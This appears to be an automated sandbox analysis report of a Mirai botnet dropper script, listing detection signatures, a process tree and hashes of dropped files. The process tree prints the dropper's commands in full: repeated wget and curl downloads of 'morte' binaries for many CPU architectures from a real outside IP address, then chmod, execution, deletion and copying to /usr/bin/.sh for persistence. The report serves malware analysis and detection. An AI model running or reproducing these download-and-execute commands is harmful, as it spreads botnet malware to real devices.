Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20250619-en
  • resource tags

    arch:armhfimage:debian9-armhf-20250619-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    22/08/2025, 01:52

General

  • Target
    1.sh
  • Size 3KB
  • Sample250822-cap2vaal41
  • SHA256 3d2acd9571f1e62e42aaf6d34a320d96eb07a1d4b16cce9dc74885aeb0b03f4f
  • MD5 SHA1 SHA512

Malware Config

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Enumerates active TCP sockets 1 TTPs 2 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies init.d 2 TTPs 2 IoCs

    Adds/modifies system service, likely for persistence.

  • Modifies rc script 2 TTPs 2 IoCs

    Adding/modifying system rc scripts is a common persistence mechanism.

  • Reads process memory 1 TTPs 64 IoCs

    Read the memory of a process through the /proc virtual filesystem. This can be used to steal credentials.

  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Changes its process name 2 IoCs
  • Checks CPU configuration 1 TTPs 15 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads system network configuration 1 TTPs 4 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Command and Scripting Interpreter: Unix Shell 1 TTPs 1 IoCs

    Execute scripts via Unix Shell.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 4 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 30 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/1.sh
    /tmp/1.sh
    1⤵
    • Executes dropped EXE
    PID:645
    • /bin/cp
      cp /bin/busybox /tmp/
      2⤵
      • Writes file to tmp directory
      PID:650
    • /usr/bin/wget
      wget http://196.251.73.215/00101010101001/morte.x86
      2⤵
      • Writes file to tmp directory
      PID:659
    • /usr/bin/curl
      curl -O http://196.251.73.215/00101010101001/morte.x86
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:672
    • /bin/chmod
      chmod +x 1.sh busybox morte.x86 systemd-private-fe67c32de1e446fca6c3ab3ce133f9db-systemd-timedated.service-5yzOza
      2⤵
      • File and Directory Permissions Modification
      PID:674
    • /tmp/morte.x86
      ./morte.x86 morte.x86
      2⤵
        PID:675
      • /bin/rm
        rm -rf morte.x86
        2⤵
          PID:677
        • /usr/bin/wget
          wget http://196.251.73.215/00101010101001/morte.mips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:678
        • /usr/bin/curl
          curl -O http://196.251.73.215/00101010101001/morte.mips
          2⤵
          • Checks CPU configuration
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:679
        • /bin/chmod
          chmod +x 1.sh busybox morte.mips systemd-private-fe67c32de1e446fca6c3ab3ce133f9db-systemd-timedated.service-5yzOza
          2⤵
          • File and Directory Permissions Modification
          PID:680
        • /tmp/morte.mips
          ./morte.mips morte.mips
          2⤵
          • System Network Configuration Discovery
          PID:681
        • /bin/rm
          rm -rf morte.mips
          2⤵
          • System Network Configuration Discovery
          PID:683
        • /usr/bin/wget
          wget http://196.251.73.215/00101010101001/morte.arc
          2⤵
          • Writes file to tmp directory
          PID:684
        • /usr/bin/curl
          curl -O http://196.251.73.215/00101010101001/morte.arc
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:695
        • /bin/chmod
          chmod +x 1.sh busybox morte.arc systemd-private-fe67c32de1e446fca6c3ab3ce133f9db-systemd-timedated.service-5yzOza
          2⤵
          • File and Directory Permissions Modification
          PID:710
        • /tmp/morte.arc
          ./morte.arc morte.arc
          2⤵
            PID:712
          • /bin/rm
            rm -rf morte.arc
            2⤵
              PID:715
            • /usr/bin/wget
              wget http://196.251.73.215/00101010101001/morte.i468
              2⤵
                PID:716
              • /usr/bin/curl
                curl -O http://196.251.73.215/00101010101001/morte.i468
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:724
              • /bin/chmod
                chmod +x 1.sh busybox morte.i468 systemd-private-fe67c32de1e446fca6c3ab3ce133f9db-systemd-timedated.service-5yzOza
                2⤵
                • File and Directory Permissions Modification
                PID:736
              • /tmp/morte.i468
                ./morte.i468 morte.i468
                2⤵
                  PID:737
                • /bin/rm
                  rm -rf morte.i468
                  2⤵
                    PID:738
                  • /usr/bin/wget
                    wget http://196.251.73.215/00101010101001/morte.i686
                    2⤵
                    • Writes file to tmp directory
                    PID:739
                  • /usr/bin/curl
                    curl -O http://196.251.73.215/00101010101001/morte.i686
                    2⤵
                    • Checks CPU configuration
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:741
                  • /bin/chmod
                    chmod +x 1.sh busybox morte.i686 systemd-private-fe67c32de1e446fca6c3ab3ce133f9db-systemd-timedated.service-5yzOza
                    2⤵
                    • File and Directory Permissions Modification
                    PID:742
                  • /tmp/morte.i686
                    ./morte.i686 morte.i686
                    2⤵
                      PID:743
                    • /bin/rm
                      rm -rf morte.i686
                      2⤵
                        PID:745
                      • /usr/bin/wget
                        wget http://196.251.73.215/00101010101001/morte.x86_64
                        2⤵
                        • Writes file to tmp directory
                        PID:746
                      • /usr/bin/curl
                        curl -O http://196.251.73.215/00101010101001/morte.x86_64
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:747
                      • /bin/chmod
                        chmod +x 1.sh busybox morte.x86_64 systemd-private-fe67c32de1e446fca6c3ab3ce133f9db-systemd-timedated.service-5yzOza
                        2⤵
                        • File and Directory Permissions Modification
                        PID:755
                      • /tmp/morte.x86_64
                        ./morte.x86_64 morte.x86_64
                        2⤵
                          PID:757
                        • /bin/rm
                          rm -rf morte.x86_64
                          2⤵
                            PID:759
                          • /usr/bin/wget
                            wget http://196.251.73.215/00101010101001/morte.mpsl
                            2⤵
                            • Writes file to tmp directory
                            PID:761
                          • /usr/bin/curl
                            curl -O http://196.251.73.215/00101010101001/morte.mpsl
                            2⤵
                            • Checks CPU configuration
                            • Writes file to tmp directory
                            PID:773
                          • /bin/chmod
                            chmod +x 1.sh busybox morte.mpsl systemd-private-fe67c32de1e446fca6c3ab3ce133f9db-systemd-timedated.service-5yzOza
                            2⤵
                            • File and Directory Permissions Modification
                            PID:784
                          • /tmp/morte.mpsl
                            ./morte.mpsl morte.mpsl
                            2⤵
                              PID:785
                            • /bin/rm
                              rm -rf morte.mpsl
                              2⤵
                                PID:787
                              • /usr/bin/wget
                                wget http://196.251.73.215/00101010101001/morte.arm
                                2⤵
                                • Writes file to tmp directory
                                PID:788
                              • /usr/bin/curl
                                curl -O http://196.251.73.215/00101010101001/morte.arm
                                2⤵
                                • Checks CPU configuration
                                • Writes file to tmp directory
                                PID:789
                              • /bin/chmod
                                chmod +x 1.sh busybox morte.arm systemd-private-fe67c32de1e446fca6c3ab3ce133f9db-systemd-timedated.service-5yzOza
                                2⤵
                                • File and Directory Permissions Modification
                                PID:790
                              • /tmp/morte.arm
                                ./morte.arm morte.arm
                                2⤵
                                • Enumerates active TCP sockets
                                • Modifies init.d
                                • Modifies rc script
                                • Reads process memory
                                • Changes its process name
                                • Reads system network configuration
                                • Reads runtime system information
                                PID:791
                                • /bin/sh
                                  sh -c "cp ./morte.arm /usr/bin/.sh"
                                  3⤵
                                    PID:796
                                    • /bin/cp
                                      cp ./morte.arm /usr/bin/.sh
                                      4⤵
                                      • Reads runtime system information
                                      PID:797
                                • /bin/rm
                                  rm -rf morte.arm
                                  2⤵
                                    PID:793
                                  • /usr/bin/wget
                                    wget http://196.251.73.215/00101010101001/morte.arm5
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:795
                                  • /usr/bin/curl
                                    curl -O http://196.251.73.215/00101010101001/morte.arm5
                                    2⤵
                                    • Checks CPU configuration
                                    • Writes file to tmp directory
                                    PID:799
                                  • /bin/chmod
                                    chmod +x 1.sh busybox morte.arm5 systemd-private-fe67c32de1e446fca6c3ab3ce133f9db-systemd-timedated.service-5yzOza
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:800
                                  • /tmp/morte.arm5
                                    ./morte.arm5 morte.arm5
                                    2⤵
                                      PID:801
                                    • /bin/rm
                                      rm -rf morte.arm5
                                      2⤵
                                        PID:802
                                      • /usr/bin/wget
                                        wget http://196.251.73.215/00101010101001/morte.arm6
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:803
                                      • /usr/bin/curl
                                        curl -O http://196.251.73.215/00101010101001/morte.arm6
                                        2⤵
                                        • Checks CPU configuration
                                        • Writes file to tmp directory
                                        PID:804
                                      • /bin/chmod
                                        chmod +x 1.sh busybox morte.arm6 systemd-private-fe67c32de1e446fca6c3ab3ce133f9db-systemd-timedated.service-5yzOza
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:805
                                      • /tmp/morte.arm6
                                        ./morte.arm6 morte.arm6
                                        2⤵
                                          PID:806
                                        • /bin/rm
                                          rm -rf morte.arm6
                                          2⤵
                                            PID:807
                                          • /usr/bin/wget
                                            wget http://196.251.73.215/00101010101001/morte.arm7
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:808
                                          • /usr/bin/curl
                                            curl -O http://196.251.73.215/00101010101001/morte.arm7
                                            2⤵
                                            • Checks CPU configuration
                                            • Writes file to tmp directory
                                            PID:809
                                          • /bin/chmod
                                            chmod +x 1.sh busybox morte.arm7 systemd-private-fe67c32de1e446fca6c3ab3ce133f9db-systemd-timedated.service-5yzOza
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:810
                                          • /tmp/morte.arm7
                                            ./morte.arm7 morte.arm7
                                            2⤵
                                            • Enumerates active TCP sockets
                                            • Modifies init.d
                                            • Modifies rc script
                                            • Reads process memory
                                            • Changes its process name
                                            • Reads system network configuration
                                            • Reads runtime system information
                                            PID:811
                                            • /bin/sh
                                              /bin/sh -c "cp ./morte.arm7 /usr/bin/.sh"
                                              3⤵
                                              • Command and Scripting Interpreter: Unix Shell
                                              PID:816
                                              • /bin/cp
                                                cp ./morte.arm7 /usr/bin/.sh
                                                4⤵
                                                  PID:817
                                            • /bin/rm
                                              rm -rf morte.arm7
                                              2⤵
                                                PID:813
                                              • /usr/bin/wget
                                                wget http://196.251.73.215/00101010101001/morte.ppc
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:815
                                              • /usr/bin/curl
                                                curl -O http://196.251.73.215/00101010101001/morte.ppc
                                                2⤵
                                                • Checks CPU configuration
                                                • Writes file to tmp directory
                                                PID:819
                                              • /bin/chmod
                                                chmod +x 1.sh busybox morte.ppc systemd-private-fe67c32de1e446fca6c3ab3ce133f9db-systemd-timedated.service-5yzOza
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:820
                                              • /tmp/morte.ppc
                                                ./morte.ppc morte.ppc
                                                2⤵
                                                  PID:821
                                                • /bin/rm
                                                  rm -rf morte.ppc
                                                  2⤵
                                                    PID:823
                                                  • /usr/bin/wget
                                                    wget http://196.251.73.215/00101010101001/morte.spc
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:824
                                                  • /usr/bin/curl
                                                    curl -O http://196.251.73.215/00101010101001/morte.spc
                                                    2⤵
                                                    • Checks CPU configuration
                                                    • Writes file to tmp directory
                                                    PID:825
                                                  • /bin/chmod
                                                    chmod +x 1.sh busybox morte.spc systemd-private-fe67c32de1e446fca6c3ab3ce133f9db-systemd-timedated.service-5yzOza
                                                    2⤵
                                                    • File and Directory Permissions Modification
                                                    PID:826
                                                  • /tmp/morte.spc
                                                    ./morte.spc morte.spc
                                                    2⤵
                                                      PID:827
                                                    • /bin/rm
                                                      rm -rf morte.spc
                                                      2⤵
                                                        PID:829
                                                      • /usr/bin/wget
                                                        wget http://196.251.73.215/00101010101001/morte.m68k
                                                        2⤵
                                                        • Writes file to tmp directory
                                                        PID:830
                                                      • /usr/bin/curl
                                                        curl -O http://196.251.73.215/00101010101001/morte.m68k
                                                        2⤵
                                                        • Checks CPU configuration
                                                        • Writes file to tmp directory
                                                        PID:831
                                                      • /bin/chmod
                                                        chmod +x 1.sh busybox morte.m68k systemd-private-fe67c32de1e446fca6c3ab3ce133f9db-systemd-timedated.service-5yzOza
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:832
                                                      • /tmp/morte.m68k
                                                        ./morte.m68k morte.m68k
                                                        2⤵
                                                          PID:833
                                                        • /bin/rm
                                                          rm -rf morte.m68k
                                                          2⤵
                                                            PID:835
                                                          • /usr/bin/wget
                                                            wget http://196.251.73.215/00101010101001/morte.sh4
                                                            2⤵
                                                            • Writes file to tmp directory
                                                            PID:836
                                                          • /usr/bin/curl
                                                            curl -O http://196.251.73.215/00101010101001/morte.sh4
                                                            2⤵
                                                            • Checks CPU configuration
                                                            • Writes file to tmp directory
                                                            PID:837
                                                          • /bin/chmod
                                                            chmod +x 1.sh busybox morte.sh4 systemd-private-fe67c32de1e446fca6c3ab3ce133f9db-systemd-timedated.service-5yzOza
                                                            2⤵
                                                            • File and Directory Permissions Modification
                                                            PID:838
                                                          • /tmp/morte.sh4
                                                            ./morte.sh4 morte.sh4
                                                            2⤵
                                                              PID:839
                                                            • /bin/rm
                                                              rm -rf morte.sh4
                                                              2⤵
                                                                PID:841

                                                            Network

                                                                  MITRE ATT&CK Enterprise v16

                                                                  Replay Monitor

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                                                                  Downloads

                                                                  sysd

                                                                  • Path /etc/init.d/sysd
                                                                  • Size 25B
                                                                  • SHA256 ba1d50d125344f273c249426ccd744d5a12e560ace41cca4bc55bd2d4a718d8f
                                                                  • MD5 SHA1 SHA512

                                                                  busybox

                                                                  • Path /tmp/busybox
                                                                  • Size 507KB
                                                                  • SHA256 2dd1fbb8052a89f40c2e9af115d31346e554ee746e9c7a97d651e43e0609df88
                                                                  • MD5 SHA1 SHA512 SSDEEP

                                                                  morte.x86

                                                                  • Path /tmp/morte.x86
                                                                  • Size 37KB
                                                                  • SHA256 e8099bae8e84278b060f8651d0f601d2e3de08797024a0a13dba0138b3095b43
                                                                  • MD5 SHA1 SHA512 SSDEEP